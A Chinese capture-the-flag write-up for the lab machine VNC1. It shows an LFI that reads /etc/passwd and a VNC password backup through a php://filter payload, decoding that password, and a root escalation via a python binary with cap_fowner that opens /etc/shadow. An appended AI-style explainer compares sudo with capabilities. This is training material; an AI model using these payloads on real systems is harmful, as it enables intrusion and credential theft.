

群友靶机-VNC1

信息收集

```
nmap -p- 10.0.2.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-01 04:57 EDT
Nmap scan report for 10.0.2.65
Host is up (0.00021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
5901/tcp  open  vnc-1
MAC Address: 08:00:27:4D:98:8D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

靶机是vnc1 里面有vnc服务 肯定是突破重点
不过还是先80看一眼

```
curl 10.0.2.65
<!DOCTYPE html>
<html>
<head>
<style>
body { font-family: Arial, sans-serif; background: #f0f8ff; padding: 20px; }
h1 { color: #4b0082; border-bottom: 2px dashed #4b0082; padding-bottom: 10px; }
.container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 15px rgba(0,0,0,0.1); }
.buttons { margin: 20px 0; display: flex; gap: 10px; }
button { padding: 10px 15px; background: #4b0082; color: white; border: none; border-radius: 5px; cursor: pointer; }
button:hover { background: #5a1a9a; }
.content-area { border: 2px solid #4b0082; min-height: 150px; padding: 15px; border-radius: 5px; margin-top: 20px; background: #fcfcfc; }
.warning { background: #fffacd; padding: 10px; border-left: 4px solid #ffa500; margin: 15px 0; }
```

```

</style>
</head>
<body>
<div class="container">
  <h1>本地文件包含（LFI）漏洞演示</h1>

  <div class="buttons">
    <button onclick="loadFile('file1.txt')">加载文件 1</button>
    <button onclick="loadFile('file2.txt')">加载文件 2</button>
    <button onclick="loadFile('file3.txt')">加载文件 3</button>
  </div>

  <div class="content-area">
    <!-- 动态加载的内容将显示在此处 -->
  </div>
</div>

<script>
function loadFile(filename) {
  window.location.href = "index.php?file=" + encodeURIComponent(filename);
}
</script>
</body>
</html>

```

很明显是有LFI 看/etc/passwd确定用户todd 从 /etc/tigervnc/vncserver-config-defaults 确定vnc的密码应该就在/home/todd/.vnc/ 下面

不过此时访问/home/todd/.vnc/passwd是没有回显的

可以试一下 `http://10.0.2.65/index.php?file=/home/todd/.vnc/passwd.bak`
 返回 @q♦♦♦♦

很好 说明是存在passwd.bak文件的 用base64加密得到数据

`http://10.0.2.65/index.php?file=php://filter/convert.base64-encode/resource=/home/todd/.vnc/passwd.bak`

QMypcY/7jpE=

接下来就是常规操作了 解出vnc密码 登录上后传一个公钥 稳定shell

```
—(kali㉿kali)-[~/Desktop/vnc1]
└─$ echo 'QMypcY/7jpE=' |base64 -d > passwd.bak

—(kali㉿kali)-[~/Desktop/vnc1]
└─$ vncpwd/vncpwd passwd.bak
Password: vncpassw

—(kali㉿kali)-[~/Desktop/vnc1]
└─$ vncviewer 10.0.2.65:5901
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "VNC1:1 (todd)"
VNC server default format:
    32 bits per pixel.
    Least significant byte first in each pixel.
    True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
    32 bits per pixel.
    Least significant byte first in each pixel.
    True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
^CCleanupSignalHandler called

—(kali㉿kali)-[~/Desktop/vnc1]
└─$ ssh todd@10.0.2.65
Linux VNC1 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  1 04:31:32 2025 from 10.0.2.61
todd@VNC1:~$ id
uid=1000(todd) gid=1000(todd) groups=1000(todd)
```

常规看一下各种提权路径 在getcap中看到python的cap特权

```
todd@VNC1:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
/home/todd/Videos/python3.9 = cap_fowner+ep
```

接下来提权就很简单了 随便改一下shadow的权限 生成一个密码哈希然后盖过去就ok了

```
[+] Changed /etc/passwd permissions to 777
[+] Changed /etc/shadow permissions to 777
todd@VNC1:~$ openssl passwd 123
kGmdR7dOTcSjY
todd@VNC1:~$ su root
Password:
root@VNC1:/home/todd# id
uid=0(root) gid=0(root) groups=0(root)
```

拿下

番外篇

Capabilities与sudo很大区别之一就是绑定文件与绑定用户的区别 因此虽然/home/todd/Videos/python3.9在/home下面 却不能像王炸方案一样偷梁换柱 因为很简单 特权是绑定在文件上的

AI

sudo 和 Linux 能力（Capabilities）是两种不同的权限管理机制，它们的设计目标和实现方式不同，因此 sudo 不能像 cap 一样直接绑定到文件。以下是关键原因：

1. 设计目标不同

机制	主要用途	绑定方式
sudo	提供临时的、受控的 root 权限执行	基于用户/组策略 (/etc/sudoers)
cap	赋予特定程序细粒度的特权 (如 cap_net_raw)	绑定到文件的 inode (setcap)

- `sudo` 的核心理念是“谁可以执行什么命令”（基于用户/组管理）。
 - `cap` 的核心理念是“这个程序可以做什么”（基于文件权限）。
-

2. `sudo` 需要动态策略管理

- `sudo` 的权限规则存储在 `/etc/sudoers`，可以 **动态调整**（如 `visudo` 修改规则）。
 - 如果 `sudo` 像 `cap` 一样绑定到文件：
 - 每次修改权限都要 `chmod` 或 `setcap`，无法灵活控制 **哪些用户可以执行**。
 - 无法实现 `NOPASSWD`（免密码）、`env_keep`（保留环境变量）等高级功能。
-

3. `sudo` 需要完整的上下文（用户、环境变量、日志）

- `sudo` 不仅仅是提权，它还：
 - 记录 **谁** 在 **何时** 执行了 **什么命令**（`/var/log/auth.log`）。
 - 可以限制 **环境变量**（如 `env_reset`）。
 - 支持 `LD_PRELOAD` 防护（防止劫持）。
 - 如果 `sudo` 像 `cap` 一样只绑定文件：
 - 无法记录执行者身份。
 - 无法控制环境变量，可能导致安全风险。
-

4. `sudo` 需要 shell 交互

- `sudo` 通常用于交互式 shell，例如：`sudo apt update` # 需要用户输入密码
 - 如果 `sudo` 像 `cap` 一样绑定到文件：
 - 无法提示输入密码。
 - 无法实现 `timestamp_timeout`（密码缓存时间）。
-

5. `cap` 的局限性

虽然 `cap` 可以赋予程序特定权限（如 `cap_net_raw` 让普通用户执行 `ping`），但它：

- **无法限制执行者**（任何用户运行该文件都会获得能力）。

- 无法记录日志（不像 `sudo` 可以审计）。
- 无法动态调整（必须手动 `setcap`）。

为什么不能结合 `sudo` + `cap` ?

实际上，可以部分结合：

- `sudo` 用于**用户权限管理**（谁可以运行什么）。
- `cap` 用于**减少 root 依赖**（如 `ping` 只需要 `cap_net_raw`，不需要 `sudo`）。

但 `sudo` 不能完全变成 `cap` 风格，因为：

- `sudo` 的核心是 **用户管理**，而 `cap` 的核心是 **文件权限**。
- `sudo` 需要 shell 交互、日志、环境控制，而 `cap` 只影响进程权限。

总结

特性	<code>sudo</code>	<code>cap</code> （能力机制）
权限管理方式	基于用户/组（ <code>/etc/sudoers</code> ）	基于文件（ <code>setcap</code> ）
是否需要密码	是（可配置免密码）	否（直接赋予能力）
是否记录日志	是（ <code>/var/log/auth.log</code> ）	否
能否限制环境变量	是（ <code>env_reset</code> ）	否
适用场景	管理员临时提权	特定程序需要部分 root 权限

结论

- `sudo` **不能** 像 `cap` 一样绑定到文件，因为它的核心是 **用户权限管理**，而不是文件权限。
- `cap` 适用于 **减少 root 依赖**（如 `ping`、`tcpdump`），而 `sudo` 适用于 **管理员权限控制**。
- 两者可以互补，但不能互相替代。